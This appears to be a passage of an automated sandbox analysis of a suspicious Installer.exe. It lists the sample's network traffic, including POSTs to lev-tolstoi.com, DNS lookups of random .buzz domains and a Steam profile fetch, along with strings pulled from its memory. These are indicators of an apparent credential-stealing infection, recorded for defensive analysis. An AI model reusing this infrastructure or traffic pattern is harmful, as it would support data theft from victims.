Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=fd92c37599526c48ee9a2e2b; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 27 Dec 2024 22:13:26 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Controloz2 equals www.youtube.com (Youtube)
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: Installer.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Installer.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Installer.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Installer.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Installer.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Installer.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Installer.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Installer.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.0000000003596000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.coc.
Source: Installer.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Installer.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Installer.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Installer.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Installer.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Installer.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Installer.exe, 00000003.00000003.1808852557.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.0000000003596000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.0000000003596000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.0000000003596000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.00000000035AA000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
